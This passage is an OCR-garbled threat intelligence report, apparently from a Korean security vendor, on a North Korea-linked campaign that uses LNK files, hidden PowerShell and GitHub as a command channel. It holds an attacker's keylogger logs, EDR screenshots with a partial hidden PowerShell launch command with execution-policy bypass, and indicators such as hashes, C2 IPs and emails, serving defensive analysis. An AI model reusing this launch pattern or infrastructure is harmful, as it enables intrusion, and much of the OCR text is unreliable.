
26/43


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-5%5D%20view.pdf%20%ED%8C%8C%EC%9D%BC%EA%B3%BC%20Cursor%20AI%EB%A5%BC%20%ED%99%9C%EC%9A%A9%ED%95%9C%20%EB%A1%9C%EA%B7%B8%20%EA%B8%B0%EB%A1%9D.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-5%5D%20view.pdf%20%ED%8C%8C%EC%9D%BC%EA%B3%BC%20Cursor%20AI%EB%A5%BC%20%ED%99%9C%EC%9A%A9%ED%95%9C%20%EB%A1%9C%EA%B7%B8%20%EA%B8%B0%EB%A1%9D.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-6%5D%20%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C%20%ED%8F%B4%EB%8D%94%EC%97%90%20%EC%A0%80%EC%9E%A5%EB%90%9C%20Cursor%20AI%20%EC%84%A4%EC%B9%98%EB%B3%B8.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-6%5D%20%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C%20%ED%8F%B4%EB%8D%94%EC%97%90%20%EC%A0%80%EC%9E%A5%EB%90%9C%20Cursor%20AI%20%EC%84%A4%EC%B9%98%EB%B3%B8.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-7%5D%20WPS%202019%EB%A1%9C%20%EB%AC%B8%EC%84%9C%20%ED%99%95%EC%9D%B8%20%EA%B8%B0%EB%A1%9D.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-7%5D%20WPS%202019%EB%A1%9C%20%EB%AC%B8%EC%84%9C%20%ED%99%95%EC%9D%B8%20%EA%B8%B0%EB%A1%9D.png?hsLang=ko

EESt, Cursor AIZ Test-comi.json L} S &H015t= ™| A GitHub APIS| & A1t E =&
HEo| 2AL8t 7|22 =R EHL|C

-/ L —

Sl = JSONO| = X &4 A R XH(brandonleeodd93-blip), {58! 2 Xt o]0 &
brandonleeodd.93@gmail[.Jcom), 12|10 LHE IP =4 172.16.11[.]1410| =

—

I%:l | Ea o
91(172.16.11[.]141-0313_0319-0956_info.txt)2| Y 2= 7|=0| Z&H=|of %ngq.
O| A2 ?led HRAKIE RIS HAE SHZ0AM 2 ME HEE 7|52 A7 B2z, &
M 2MetHE =& A3 EQ| S gt MEhs| X[ §L| Y.

] Session started.

] Window: Test-coml.json - - Cursor [Administrator]

] Clipboard:

"sha": "d91fb76ce815e9ea4460389a4460d33140b33d38",
"node_id": "C_kwDORbheY90AKGQ5MWZiNzZjZTgxNWUS5ZWEONDYwMzg5YTQONjBkMzMxNDBiMzNkMzg" ,
"commit": {
"author": {
"name": |"brandonleeodd93-blip",
"email" ] "brandonleeodd.93@gmail.com",
"date": |" -03-13T07:19:09Z"
}
"committer": {
"name"”: |"brandonleeodd93-blip",
"email" | "brandonleeodd.93@gmail.com",
"date": |" -03-13T07:19:09Z"
}
"message" | "Upload file . E - _info.txt",
"tree": {
"sha": "4b2ffb8aefbdb3ca174392bda04f92f02d0e90fb",
"url": "https://api.github.com/repos/brandonleeodd93-blip/new/git/trees/4b2ffb8aefbdb
},
"url”: "https://api.github.com/repos/brandonleeodd93-blip/new/git/commits/d91fb76ce815€
"comment_count":
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Domain : WORKGROUP
Manufacturer ;| Arirang

Model : D1740

Name : DESKTOP-DKQQUOL
PrimaryOwnerName : Windows User
TotalPhysicalMemory :

Desk
Windows Defender
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

AggregatorHost
AnyDesk
AnyDesk
ApplicationFrameHost
asovpnc
ASOvpnSvc
ASProxy
astrill

chrome

chrome

cmd

cmd

conhost
Copilot
crashpad_handler
CSrss

CSrss

ctfmon

Cursor

Cursor

Cursor
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[ :45:41] Window: New Tab - Google Chrome

[LM][LM][LM][LM][LM][LM][Ctrl][LM][LM][LM]dJ[Bk][Bk]dJEJgrp [Bk]1[Bk][Bk][Bk][Bk]IMi[Bk][Bk][Bk]Microsoft Defenderdptj Reportrlsmddlf
[Bk1[Bk1df[Bk][Bk]dmf aks[Bk][Bk][Bk]tjfwjdgowpfk[Bk][Bk]gkfuaus djEjt[Bklgrp gkdy[Bk]i[Bk]udm gk[Bk][Bk][Bk][Bk]ldi gksmsrk?[LM][Ctrl]=[LM]
[ - :46:45] Window: ChatGPT - Google Chrome

[LM]

[ -03- :46:45] Clipboard:

How do I disable the Report feature in Microsoft Defender?

[Ctrl] -[ENTER][LM][LM][LM] [LM][LM][LM]

[ :47:08] Window: Windows Xx64 - VMware Workstation
[LM][LM][LM][LM][LM][LM][LM][LM][LM]

[ - :47:35] Window: Disable Report Feature Defender - Google Chrome
[LM][LM][LM]SS[Bk][Bk]Send s

[ 47:42] Window: Windows Xx64 - VMware Workstation

[LM][LM]
[ -03- :47:44] Window: Google Translate - Google Chrome

[LM]ample fiuk[Bk][Bk][Bk]iles t [Bk]o Microsoft to help protect you and t[Bk]Jothers from potential threadts[Bk][Bk]s[Bk][Bk]ts. [Bk][ENTER]We will
prompt you if the fiu[Bk][Bk]ile we need is likely to contail[Bk]n persi[BkJonal information.

:49:08] Window: Windows Xx64 - VMware Workstation

[
[LMI[LMI[LM]
1y -03-

:49:15] Window: Google Translate - Google Chrome
[LM][Del][LM][LM][LM][LM][Bk]Cloud [Bk]-delivered protection[ENTER]Provides increased and faster protection i[Bk]with access to the latest protection
data in the cloud [Bk].[ENTER]Worjk[Bk]s best with Automatic sample submission ture[Bk]nd[Bk]ed on.[LM]
[ -03- :50:36] Window: Windows Xx64 - VMware Workstation
[LM][LM][LM][LM]
50:57] Window: Google Translate - Google Chrome
[LM]Prevents others from tampering with in[Bk]mportant security features.[Ctrl][LM]
[ -03- :51:32] Window: Windows Xx64 - VMware Workstation

[T12l 3-10] 3+2 X}EO 2 &A=

ol I8 #LAXI7} 7|2= HololM o HESID S5 EHS UYL UE 7|2 KBS B
2517| Qo) ol TETEE MEHES JHsHE HoELC)

27|18 ("A|) Microsoft Defenderdptj Reportrismddmf tjfwjdgowpgkfuaus djEjgrp
gkdudi gksmsrk?

rol
i
A
]

(HEh Microsoft Defender0i|A{ Report7 |52 M XoHA|Ste{ ™ O0{= 7| 5t0{0¢f
st=7t1?
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T2 HY (H2) How do | disable the Report feature in Microsoft Defender?

HEO 20 24 DhgollM 2/ AR AL &, Gmail AlE &, EAOIE 7HY 0|H S
ol Eel =& of R Stolol Hat L8| BXS FHA| 512 AEo S AMB HYS &
o|aH &
L— A K-

[ - :13:03] Window: What is my IP address? | Find my public IP address | .me - Google Chrome
[LM][LM][LM][LM]ghr[Bk][Bk][Bk]gh[LM][LM][LM][LM][LM][LM]ghrtl durk[Bk]1ldp wlrkqwjdgh(SeedEhsms dka[Bk][Bk][Bk]rj[Bklkdlqdkw[Bk]agh),
Gmailwjdgh(gl[Bk][Bk]ID, dja[Bk][Bk]ks[Bk]agh eld[Bk][BkImd)[A1[->]1[->1[->1[->1[->1[->1[->1[->1[->1[->1[->] eld[Bk][BkIlmd[v], rlxj
[Bk][Bklxk Gk[Bk][Bk]Tk[Bk][Bk][Bk][Bk][Bk1G[Bk]Tkdlxmrkdlqflru[Bk][Bk]fur [Bkldmf qlfhg[Bk]ltgoth [Bk][Bk]tj

rodks [Bk] [Bk]1lswjdghemfdl fhcur[Bk][Bklnc[Bk]c[Bk]r[Bk]fehlduTsmswl dkf[Bk]k[Bk][Bk]dkfdjq[Bk][Bklkghkwntlqtldh.[ENTER]rncpwjrdmfh
gna[Bk]stjf[Bklrgo[Bk]j[Bklkftnfhs [Bk][Bk]fhr whgtmqslek.[ENTER]eocud[Bk][Bk]ndgkwlsms

aktpdy [ENTER]qnxkrdk[Bk][Bklglq[Bk]j[Bk][Bklgkqslek. [LM][Ctrl]-

[ - :15:14] Clipboard:

Please check if any personal information has been exposed here, including wallet details (Seed or sign-up passwords, etc.), Gmail
information (ID, password, etc.), and website sign-up history.

The more detailed the analysis, the better.

Please not do it haphazardly.

27|18 ("Al) ghrtl durldp wirkqwjdgh(SeedEhsms rkdigdkagh emd), Gmailwjdgh(ID,
dkagh emd),

TkdIxmrkdlgflfurdmf glfhtgotj rodlswjdghemfdl fhcnfehlduTsmswi
dkfdkghkwntlqtidh.

rncpwjrdmfh gnstjrgkftnfhr whgtmagslek.
eocndgkwlsms aktpdy.

gnxkrgkgslek.
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Please check if any personal information, including wallet details

72 He (¥2)

(Seed or sign-up passwords, etc.), Gmail information (ID, password,

etc.), and site sign-up history, has been exposed here.

The more detailed the analysis, the better.

Please do not do it haphazardly.

Thank you.
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English Key Sequence South Korean Two-Set Keyboard Mapping Korean Input Result

=% |
flfur F?E)+L?|)+F(a)+uz)+ ?1) Elﬂ
SRR

North Korean orthographic form
South Korean equivalent: 0|2

Scroll Pause
Lock Break

A S T

Home PgUp

S5l S Ol HES HAB|O|AS S5t 812 W 0| S0 = SUsH Hy|7} RAIS|0f, e @
EF7F ObLl 213 BLIRIOl LAMHSIEl H7| RO 8 % ULct

2Z WSE Q22 B CjAS X|Hstn T3 2 WS 240 MMEE 275
WYY TEE 2T YL

e 7|S0lM = elstdo| 3ot 23 E A A 20t =2 AFE Y2, 2EA7tet=
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entities related_searches search_normalized_url search_terms alternative_title page_language password_state has_url_keyed_image
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ot X =72 ofstE( 0 Q7| i 2 LT

hetM ool &
= M| 2 Ato}ot

]]>
r Mo
HI
i

ot

Z =2 A§X|E(loC) 7|8k EtX| S ZEtaH, LNK A3 0|5 2aists PowerShell 75, X| &4
sfi9, 9|8 SA S U0l O|AHSIE WK o2 HAG FENQ Y ST S TS| of
BHLICt
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= AE|QI2 AN AIZ XIEE 2O 2 BEIE S 0] 2412} 2H LNK TS 0|88 =
2S5t 5, LS5l PowerShell A3, 0f|oF 21012 S5t X|4 4 &2, Git 7|4t C2 41, H:

= o
=& 2 5 RATHIZ 2 O|0{X[= LA SZ LT

o OFETIQ LHEO| LNK AlSH
o LNKO{| M A|ZIE|= cmd.exe EE= PowerShell &34

o HIMAMO R 71 M8 0150 AFR AL 2| Base64 C| AL

o XMAIPDF EA|QEH 2R E oFA] 42 0| S A| 4=l

e AppData EE = Temp 4 22| PowerShell AT Z E A M

- &Yool Rt SETFIH AY

¢ GitHub Raw Content 2! Contents APIE 0| &5t T} &=441
o HHFE HHO[L} PATE 0| &St Git A& H2

o O[OJX| U= 2[Fot USSHO|ZELLIREE
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'Genian Insights E'= S&f AEZQIE HOt ZESIECE, ZZMA E2|2F HFHM, mtY A,
o2t =, HIERIT HZ S A=EZQIE0M EMSH= S O[HIEE A EAMEL|Ct

0|E S5 7HE oMl ERro 2 A #OIXZ HY 4 9 LNK 48, PowerShell 75, Git
MEIA BT 34 50| 2 AYS siLte] 32 5502 IS + YLt

EE5H LnkTarget § 2 S 7|80 2 LNK BH0| ZHx51 L Al 85t CHAID YRS 7| B 2
B| E0I5t1, o| = MM E ATREL} SR Z2MA, K& =2 2 2|8 SA #LATEK| A
Zx 5 % UgLlch

0|2{8t 7IA M2 HAF S22 E ME|AL T Y ZEZ S oI5 EFX|E R35|5H= BZHUE &
Moz 28 4 gl 7IvS M BEL

2IMOo= AP0 BAMO| BNES BH FH| SEE £0|CEtE, ASEOIS0| M WSt
S MY, XIS, S4, H0|ZE BT £ = UBLICH

hEtAd = ol elof cHet 2 M tSE fishiM= F|ul EoiX|EE XFH2Z HIAS= S
Aloll, 84 A 2t d2HBAE 2445110 O| Y2 E LFSH AEHE = = EDR SH2 S

St MAIE 7+ =5HoF gL,

L~ 4 file events =
file event
Event Type  FileCr G

Create File  C:WUserswuser#DownloadswCONCEPT NOTE of 2026

1-ASEAN Global Youth Camp.pdf#CONCEPT NOTE of

2026 1-ASEAN Global Youth Camp.pfink
nkTarge
Fa AWindows powershell exe
*Sdirkebna =
#1Gho uLve b
o
i t9imi
i p 0
i

DESKTOP-C4AO0SET \ 172.29.151.102
WORKGROUP \ user

Threat Information

explorer.exe
parent process

Detect time  08/04/2026 07:44:14

Engine E» rb
o

Response

Rule ID s us|
_-==r- . Detection  Sandizipexe
-
) )
Confidence 80%
4 file events MITRE s
ATT&CK
- - US|
Se—ma- =~ Bandizip.exe .
o
i

ark.x64.dll process

[12] 4-1] EDRE S5 o4 LNK 02U 2 EHX|6H 28

Genian Insights E2| Attack Storyline 7| s & &235tH &=

ot s MESHA BAE = JUSLIC

:oé
=
B
0x
2
x
0=
0x
in
rr
12
0x
-
=z
~
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7 CHAOM o | E AESt, #E tiS & =t X7t 7hs L

explorer.exe
process

8 file events

hildProcessCreate

© ChildProcesscreate

(6] [+

Bandizip.exe
child process

.
“powershell.exe
child process

\
\
\

11 file events

[O2 4-2] LNK S35l

OFAf LNK 20| AlSH

HO[ZE L2 ZE

EDR2 0|2{8t T2 M| A AlSY
S (@]

A S
55t MlEstn tiSe =+ UL

3 =| PowerShell A3 33 EFX|
5 =| 04 PowerShell Z2A| A7} 97| £[0f AIS S| 11, 0|5 =7} BE A8,
Uzo| oty HLI7 T H o SHEL|CH

SR 7[Ht o[HIEE AA|ZI2 2 BEMSI0] 4 &2 4
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~
~
16 module evenfs- . _

5 file events

PowerShell.ex

4 rocess
’ p

L2 raw. hubusercontent.com ¢z
outgoing

Quick Search
© 185.199.110.133:443 (Success)

Connection Information

Event Time  08/04/2026 084308 ~ 08/04/2026 08:43:08
(©ceurs for Tsecs)
EventType  NetworkConnect @

Process Name Powershellexe B

outgoing

raw.githubusercontent.com

DNS Name  rawgithubusercontent com
Protocol @

Direction our

Connection

© 172.20.151.10249824

©185192.110133.443 BE
® rawgithubusercontentcom

Detect Type

Tag Senipling et | SuspamsNetworkingBySerpt

(Protocel Tunraiing (resic

Tactic

Technique

PPm—y—

Custom Tag

Threat Information

Detect time  08/04/2026 084308

E» et
Network connection using script

(SuspiciousNetworkingByScript) &

Engine
Response
Rule ID
Detection  irjkcnjhgtirhdlkidu.pst
threat

Confidence  40%

T1064 - Scripting

MITRE
ATTRICK

Network connection using script
(SuspiciousNetworkingByseript)

If 2 scripting host process, such as Powershell, uses the network,
it s likely that the script evecuted by Explorer is an attempt to
dovnload the executable from the Interet

In addition, Fileless malicious behavior, which downloads scripts
from the Internet and executes them from memory, is also
diagnosed by this rule.

Reason : Scripting Host Process (powershell.behavior in which
exe, wscriptexe, cmd.exe, etc) attempts to network

False Detection : Nothing is known.

[Z12! 4-3] PowerShell

fjo
ofm

PowerShell & AlS

Jh 02 2Al L ORA

T =

51

Github C2 M=

a4
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Genian ashboare ef i System v

© Threats [

Overview 2 3% Malware @ 7 @ xea @

— Confidence Detected Type signe Th
0% 08/04/2026 084944 xea irujkdnjhtirhdkdu ps1 i detected by Network ing script XeA Rule (40%) (0 1~

Q Investigation

. In Progress H0% 08/04/2026 084308 x8a Exploit irujkdnjhgtirhdkidu ps1 is detected by Network g script XeA Rule (40%) € 1~

0% 08/04/2026 074437 x8a Exploit powershellexe is detected by Suspicious PowerShell Execution XBA Rule (0% [ 1~
0% 08/04/2026 074414 x8a Fake Bandizip.exe s detecte iciousLkFile XBA Rule (80%) € 1

Summary Anomaly processes  Suspicious fle information  Hashes  Endpoint  External Link

s EEqa

° indicators [EEBP imikdnhatishdiidu.ps1 i detected by Network connection using script X8A Rule (40%) >

Engine XBA / Exploit

ppDataWRoaming#irujkdnjhgttrhdkfdu.ps1

wStyle Hidden -nop -Noninteractive -NoProfile -ExecutionPolicy Bypass -Command "& (Suji = Join-Path (Senv:AppData) Wirujkdnjhgttrhdkidu.ps1#

attempt to download the executable from the Internet.
s also diagnosed by this rule.

Genian Insights E= 2= 9| Analysis Mg 5tHE E5H EFX| =l &0l CHSE Al HEE =Rzt
Mo NMEstd, 34 SEA =2 AW E sh=o ntetet = JUEZ XA LTt

0|8 S5 2Rt EHXIE IES A5t Holstn, MM 24 U HS TX|E 28N
Sae & UABLich

5. loC (Indicator of Compromise)

MD5
02ebc2356f9f700bbdac444cdefaOda2
0d8ceb7dea7d471afa2f8e753b13d2d6
1f378c0efc13669dada1fe340c6837bd
2669731cb5ff664dfb5fbfc37637876d
2ab3df4762fbde5d86e99a1ad147850e
2e76d5316663a3dc472398b1c01cb9a8
2eb77109cce1e8afca6245c2963e52a6

302725413076d1aeaee2d7f2b3692646
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30792a0c0dfad55fb2b19d3e30e9a7d4

30d5f17d5e3f85be18220a7cabObofff

37cec428257cd41153cf43d7f1a12652

3b9d40f3d620ec87960b4350d42ccc03

3e2110d233d4543830e14c78d53900f4

422a221851eabad15f53cd3aea51c8af

49bdbe7e6cbb88842afcce3a9fe60e9b

4d87fef16790cbe1df72007d99149665

5577fffbSb5acd3771ef9dc696498f1e

5af95590a33b9bc64d95808f1fc71b78

5c5672bb14e1d2f07a8318ffec19b213

6add815cd61d6514f81a23ab8c23405a

73ff669fc282653bd6c42cf87ade9337

7f12fab89f5616203c692715b3958d30

8406075af0a1e9ec09bafdc0de01f138

8c859a03814443c6f0da341ee594c352

a1c07ac866fb6b388e38c6bb1d4bbed4

a343d8bcf02a0554fa271452a512f3ce

a435292106026e257789036a70ee1a14

a5701848f82c65a55765dc534111899f

aa9d5dd632bb90addca480eaa5ff4382

af3fa7f22f6e97901f20326cc12bdb49

b406ea5b8628cb7801f47c0189b96182
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b50dad56d891ef230656b37ce62cdada

b516ec6c6b37618ad65080a063270ea4

ba0238423b5c29667cd760ccd7b000aa

ba8e682a72c6a3e634c070f0fb057bf5

bbf1b0ab9fc27439de4386ed7b8fc151

c410055bfa198937825dfd7e41000e7a

c63d021de798034cbf933e1c99bch83f

c7723bf166ef08ff3112257a1244f584

ca0b57807f79f26e7f59cab2a2542da0

eOed4aec6d494fe68cdaa52d6878a8366

€22367800e9d39bc865bd50cddd0537d

ead95793528572e7b89679860e2f2116

ed2f8dd9b96d706d833b7aa545b8e621

f4e7ca8c1de252840c1f0e957cd4b717

f73e07efb8707e3561e9cbff74557ach
C2

112.216.9[.]171

170.205.29[.183

170.205.30[.]1227

185.27.134[.1140

27.102.137[.]126

27.102.137[.]159

27.102.138[.]44
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Domain
stoks.great-site[.]Jnet

Email
apollo1030109@gmail[.Jcom
awed33@outlook[.]kr
belendong40@gmail[.Jcom
brandonleeodd.93@gmail[.Jcom
contrasde@outlook][.]kr
devlion413@gmail[.Jcom
eros1030109@gmail[.Jcom
hera1030109@gmail[.Jcom
holowin401@gmail[.Jcom
holowin@gmail[.Jcom
jecoma@outlook[.]kr
johnstones19850308@gmail[.Jcom
johnstones8888@outlook[.Jcom
kkkkk79@outlook].]kr
tomas3015@outlook[.]kr
trungvo5131993@gmail[.Jcom
tttsssuuu@outlook].]kr

whitewolf20000312@gmail[.Jcom

ALHAAE

CHEO|AL: O|SH | AIRXISEHS: 129-81-80148
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T. 031-8084-9770 | F. 070-4332-1683
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